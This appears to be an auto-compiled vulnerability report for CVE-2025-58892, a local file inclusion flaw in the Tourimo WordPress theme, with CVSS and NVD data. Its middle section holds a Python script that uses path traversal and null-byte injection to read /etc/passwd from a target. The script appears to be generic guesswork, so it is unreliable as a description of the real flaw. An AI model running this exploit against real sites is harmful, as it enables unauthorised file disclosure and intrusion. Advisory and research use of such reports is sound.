Security Vulnerability Report
中文
CVE-2025-58892 CVSS 8.1 HIGH

CVE-2025-58892

Published: 2025-12-18 08:15:58
Last Modified: 2026-04-27 19:16:16

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Tourimo tourimo allows PHP Local File Inclusion.This issue affects Tourimo: from n/a through <= 1.2.3.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ancorathemes:tourimo:*:*:*:*:*:wordpress:*:* - VULNERABLE
Tourimo <= 1.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58892 PoC - Tourimo Local File Inclusion # Target: WordPress Tourimo Theme <= 1.2.3 import requests import sys def exploit_lfi(target_url, filename='../../../../../../../../etc/passwd'): """ Exploit Local File Inclusion vulnerability in Tourimo theme """ # Common vulnerable parameters in Tourimo theme vulnerable_params = ['file', 'page', 'template', 'action', 'load'] for param in vulnerable_params: payload = {param: filename} try: response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: if 'root:' in response.text or 'daemon:' in response.text: print(f'[+] LFI confirmed via parameter: {param}') print(f'[+] Extracted content:') print(response.text[:500]) return True except requests.RequestException as e: print(f'[-] Request failed: {e}') # Try with null byte injection for param in vulnerable_params: payload = {param: filename + '\x00'} try: response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200 and 'root:' in response.text: print(f'[+] LFI confirmed with null byte injection') return True except: pass return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-58892.py <target_url>') print('Example: python cve-2025-58892.py http://target.com/wp-content/themes/tourimo/') sys.exit(1) target = sys.argv[1] print(f'[*] Testing LFI on: {target}') exploit_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58892", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:58.423", "lastModified": "2026-04-27T19:16:16.153", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Tourimo tourimo allows PHP Local File Inclusion.This issue affects Tourimo: from n/a through <= 1.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ancorathemes:tourimo:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.2.3", "matchCriteriaId": "D8B92B9A-0EB5-4B60-9EBC-F39F5CDB4278"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/tourimo/vulnerability/wordpress-tourimo-theme-1-2-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}